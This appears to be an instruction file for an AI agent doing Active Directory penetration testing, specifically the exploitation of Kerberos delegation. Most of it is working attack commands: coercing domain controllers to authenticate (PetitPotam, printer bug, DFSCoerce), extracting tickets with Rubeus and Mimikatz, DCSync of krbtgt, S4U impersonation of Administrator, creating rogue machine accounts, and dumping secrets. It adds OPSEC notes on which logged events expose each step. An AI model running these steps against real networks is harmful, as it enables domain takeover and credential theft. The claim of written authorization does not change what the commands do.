Kerberos Delegation Exploitation

You are helping a penetration tester exploit Kerberos delegation misconfigurations for privilege escalation and lateral movement. All testing is under explicit written authorization.

Kerberos-first authentication: All commands default to Kerberos auth via ccache. Convert credentials to a TGT first, then use -k -no-pass (Impacket), --use-kcache (NetExec), or /ticket: (Rubeus) throughout.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [kerberos-delegation] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain credentials (user, hash, or ticket) with at least one of:
  • Local admin on an unconstrained delegation host
  • Hash/key of a constrained delegation service account
  • Write access (GenericAll/GenericWrite/WriteDACL) to a computer object (for RBCD)
• Network access to DC (port 88/389/445)
• Tools: Impacket suite, netexec/nxc, optionally Rubeus, bloodyAD, krbrelayx, SpoolSample/dementor.py/PetitPotam

Kerberos-first workflow:

getTGT.py DOMAIN/user -hashes :NTHASH
# or with AES (preferred)
getTGT.py DOMAIN/user -aesKey AES256KEY
export KRB5CCNAME=user.ccache
# All subsequent commands use -k -no-pass

Step 1: Enumerate Delegation

Identify delegation-configured accounts. Skip if already provided by ad-discovery or conversation context.

Unconstrained Delegation

# NetExec
nxc ldap DC.DOMAIN.LOCAL --use-kcache --trusted-for-delegation

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \
  --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' \
  --attr sAMAccountName,userAccountControl

# PowerView (Windows)
Get-DomainComputer -Unconstrained -Properties name,dnshostname

Note: Domain Controllers always have unconstrained delegation. Focus on non-DC computers with TRUSTED_FOR_DELEGATION.

Constrained Delegation

# NetExec
nxc ldap DC.DOMAIN.LOCAL --use-kcache --delegated-to

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \
  --filter '(msds-allowedtodelegateto=*)' \
  --attr sAMAccountName,msds-allowedtodelegateto

# PowerView (Windows)
Get-DomainUser -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

# BloodHound Cypher
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p

RBCD Targets (Writable Computer Objects)

# bloodyAD — find computers you can write to
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get writable \
  --otype COMPUTER --right WRITE --detail

# Check MachineAccountQuota (for creating attacker computer)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \
  'DC=DOMAIN,DC=LOCAL' --attr ms-DS-MachineAccountQuota

# Check existing RBCD
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M rbcd

Decision Tree

Finding	Go To
Non-DC computer with unconstrained delegation + local admin	Step 2
Service account/computer with msDS-AllowedToDelegateTo	Step 3
Write access to a computer's AD object	Step 4
GenericAll/WriteDACL on computer + MachineAccountQuota > 0	Step 4

Step 2: Unconstrained Delegation

Concept: When a user authenticates to an unconstrained delegation host, their TGT is cached in LSASS. With local admin on that host, extract the TGT and impersonate that user anywhere.

Requirements:

• Local admin on the unconstrained delegation computer
• A high-value user authenticates to it (or you coerce authentication)

Step 2a: Monitor for Incoming TGTs

# Rubeus — monitor for new TGTs (run before coercion)
.\Rubeus.exe monitor /interval:1 /nowrap

# Mimikatz — export all cached tickets
privilege::debug
sekurlsa::tickets /export

Step 2b: Coerce Authentication

Force a DC or high-value target to authenticate to the unconstrained host.

Print Spooler (MS-RPRN) — SpoolService Bug:

# Check if Print Spooler is running
ls \\DC01\pipe\spoolss              # Windows
rpcdump.py DOMAIN/user@DC01 -k -no-pass | grep MS-RPRN  # Linux

# Coerce DC to authenticate to unconstrained host
python3 printerbug.py 'DOMAIN/user:password'@DC01 UNCONSTRAINED-HOST
# Or
SpoolSample.exe DC01 UNCONSTRAINED-HOST
# Or
python3 dementor.py -d DOMAIN -u user -p password UNCONSTRAINED-HOST DC01

PetitPotam (MS-EFSR):

# Authenticated
python3 petitpotam.py -d DOMAIN -u user -p password UNCONSTRAINED-HOST DC01

# Unauthenticated (if not patched)
python3 petitpotam.py -d '' -u '' -p '' UNCONSTRAINED-HOST DC01

DFSCoerce (MS-DFSNM):

python3 dfscoerce.py -d DOMAIN -u user -p password UNCONSTRAINED-HOST DC01

Step 2c: Extract and Use DC TGT

# Rubeus — extract the DC$ TGT from monitor output
.\Rubeus.exe ptt /ticket:<base64-ticket>

# Request service tickets for lateral movement
.\Rubeus.exe asktgs /ticket:<base64-ticket> \
  /service:LDAP/DC01.DOMAIN.LOCAL,cifs/DC01.DOMAIN.LOCAL /ptt

# DCSync with DC machine TGT
mimikatz # lsadump::dcsync /user:DOMAIN\krbtgt

# Linux — if using krbrelayx to catch the ticket
python3 krbrelayx.py -hashes :MACHINE_NTHASH

# After catching ticket:
export KRB5CCNAME=DC01\$@DOMAIN.LOCAL_krbtgt@DOMAIN.LOCAL.ccache
secretsdump.py -k -no-pass DOMAIN/DC01\$@DC01.DOMAIN.LOCAL

OPSEC Notes — Unconstrained

• High: Coercion triggers network traffic between DC and unconstrained host
• Event 4768/4769 for TGT/TGS requests from unexpected sources
• SpoolService coercion requires Print Spooler running (disabled by default on newer Server builds)
• PetitPotam unauthenticated variant patched since 2022 but authenticated still works
• Cleanup: No AD objects modified; just ticket extraction

Step 3: Constrained Delegation (S4U)

Concept: A service with msDS-AllowedToDelegateTo can impersonate any user to the listed SPNs using S4U2Self + S4U2Proxy. SPN swapping (/altservice) lets you access services beyond the listed SPNs.

Requirements:

• Hash or key of the constrained delegation service account/computer
• TrustedToAuthForDelegation flag for full S4U (protocol transition)

Impacket (Linux) — Preferred

# One-step: get impersonated service ticket
getST.py -spn cifs/TARGET.DOMAIN.LOCAL \
  -impersonate Administrator \
  DOMAIN/svc-constrained -k -no-pass

# With SPN swapping (altservice)
getST.py -spn cifs/TARGET.DOMAIN.LOCAL \
  -altservice ldap/TARGET.DOMAIN.LOCAL \
  -impersonate Administrator \
  DOMAIN/svc-constrained -k -no-pass

# With hash (if no ccache available)
getST.py -spn cifs/TARGET.DOMAIN.LOCAL \
  -impersonate Administrator \
  DOMAIN/svc-constrained -hashes :NTHASH

# Use the ticket
export KRB5CCNAME=Administrator@cifs_TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL.ccache
smbclient.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
secretsdump.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL

Rubeus (Windows)

# S4U with AES256 (OPSEC preferred)
.\Rubeus.exe s4u /user:svc-constrained /aes256:AES256KEY \
  /impersonateuser:Administrator \
  /msdsspn:cifs/TARGET.DOMAIN.LOCAL \
  /altservice:ldap,cifs,host,http,wsman,rpcss \
  /ptt /nowrap

# S4U with RC4/NTLM hash
.\Rubeus.exe s4u /user:svc-constrained /rc4:NTHASH \
  /impersonateuser:Administrator \
  /msdsspn:cifs/TARGET.DOMAIN.LOCAL \
  /altservice:cifs,host,http,wsman,ldap \
  /ptt /nowrap

# Verify
klist
dir \\TARGET.DOMAIN.LOCAL\C$

Common SPN Swaps

The service name in the ticket is not in the encrypted part — you can swap it:

Listed SPN	Swap To	Access
cifs/host	ldap/host	DCSync via LDAP
time/host	cifs/host	File shares, psexec
http/host	wsman/host	WinRM
Any	host/target	General service access
Any	rpcss/target	DCOM/WMI

Constrained Delegation from Linux — Setup Path

If you have write access over a constrained delegation account (via ACL abuse):

# Set constrained delegation on account you control
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL set object WEBSRV\$ \
  msDS-AllowedToDelegateTo -v 'cifs/DC.DOMAIN.LOCAL'

# Enable TrustedToAuthForDelegation
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL add uac WEBSRV\$ \
  -f TRUSTED_TO_AUTH_FOR_DELEGATION

OPSEC Notes — Constrained

• Medium: S4U generates Event 4768/4769 (TGT/TGS requests)
• SPN swapping is not logged by default but may trigger custom detections
• AES keys preferred over RC4 (etype 0x12 vs 0x17)
• Cross-domain S4U includes S-1-18-2 (SERVICE_ASSERTED_IDENTITY) in PAC
• No AD objects modified if exploiting existing delegation
• Cleanup: None needed — ticket-based attack, no persistent changes

Step 4: Resource-Based Constrained Delegation (RBCD)

Concept: Any principal with write access to a computer's AD object can set msDS-AllowedToActOnBehalfOfOtherIdentity to allow an attacker-controlled account to impersonate users against that computer via S4U.

Requirements:

• Write access (GenericAll/GenericWrite/WriteDACL/WriteProperty) to target computer
• An attacker-controlled computer account (create one if MachineAccountQuota > 0)
• S4U2Self tickets do NOT need the Forwardable flag for RBCD

Step 4a: Create Attacker Machine Account

# Impacket
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'P@ssw0rd123!' \
  DOMAIN/user -k -no-pass

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL add computer FAKECOMP 'P@ssw0rd123!'

Skip if you already control a computer account (e.g., compromised host).

Step 4b: Set RBCD on Target

# Impacket rbcd.py
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET$' -action write \
  DOMAIN/user -k -no-pass

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL add rbcd 'TARGET$' 'FAKECOMP$'

# PowerView (Windows)
$sid = Get-DomainComputer FAKECOMP -Properties objectsid | Select -Expand objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor \
  -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$bytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($bytes, 0)
Get-DomainComputer TARGET | Set-DomainObject \
  -Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}

# Verify
rbcd.py -delegate-to 'TARGET$' -action read DOMAIN/user -k -no-pass

Step 4c: Perform S4U Attack

# Get TGT for attacker machine account
getTGT.py DOMAIN/'FAKECOMP$':'P@ssw0rd123!'

# S4U to impersonate Administrator on target
export KRB5CCNAME=FAKECOMP\$.ccache
getST.py -spn cifs/TARGET.DOMAIN.LOCAL -impersonate Administrator \
  DOMAIN/'FAKECOMP$' -k -no-pass

# Use the ticket
export KRB5CCNAME=Administrator@cifs_TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL.ccache
secretsdump.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
wmiexec.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL

# Rubeus (Windows)
.\Rubeus.exe hash /password:'P@ssw0rd123!' /user:FAKECOMP$ /domain:DOMAIN.LOCAL
.\Rubeus.exe s4u /user:FAKECOMP$ /aes256:AES256HASH \
  /impersonateuser:Administrator \
  /msdsspn:cifs/TARGET.DOMAIN.LOCAL \
  /altservice:cifs,host,http,wsman,ldap \
  /ptt /nowrap

Step 4d: Cleanup (Critical)

# Remove RBCD delegation
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET$' -action remove \
  DOMAIN/user -k -no-pass

# Or flush entire RBCD list
rbcd.py -delegate-to 'TARGET$' -action flush DOMAIN/user -k -no-pass

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL remove rbcd 'TARGET$' 'FAKECOMP$'

# Verify removal
rbcd.py -delegate-to 'TARGET$' -action read DOMAIN/user -k -no-pass

OPSEC Notes — RBCD

• Medium-High: Modifies AD object attribute (Event 5136)
• Computer account creation logged as Event 4741
• S4U requests generate Event 4768/4769
• MachineAccountQuota usage visible in domain audit
• Cleanup is critical — RBCD attribute persists until removed
• Use existing compromised computer account if possible (avoids 4741)

Step 5: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

KDC_ERR_ETYPE_NOTSUPP

RC4 hash provided but KDC requires AES. Extract AES256 key from LSASS or DCSync and use -aesKey instead of -hashes.

KDC_ERR_BADOPTION (S4U)

• User may have "Account is sensitive and cannot be delegated" flag
• User may be in Protected Users group (blocks all delegation)
• Service may not exist or may have been removed
• For RBCD: ensure you used the machine account (with $), not a user account

S4U2Proxy Fails with Non-Forwardable Ticket

For classic constrained delegation, S4U2Self must return a Forwardable ticket (requires TrustedToAuthForDelegation flag). For RBCD, non-Forwardable tickets work — the target computer validates RBCD differently.

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

RBCD: "Insufficient access rights" When Setting Attribute

• Verify you have write access to the target computer object (not just read)
• Check with: bloodyAD get writable --otype COMPUTER --right WRITE
• GenericAll, GenericWrite, WriteDACL, or WriteProperty on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute is required

MachineAccountQuota = 0

Cannot create new computer accounts. Alternatives:

• Use an existing compromised computer account
• Check if you have CreateChild rights on an OU (bypasses MAQ)
• Look for orphaned computer accounts you can take over

OPSEC Comparison

Type	Detection Surface	Event IDs	AD Modification
Unconstrained	Coercion traffic, ticket extraction	4768/4769	None
Constrained (S4U)	S4U requests, SPN swap	4768/4769	None (if existing)
RBCD	Object modification, machine account	4741, 5136, 4768/4769	Yes (cleanup needed)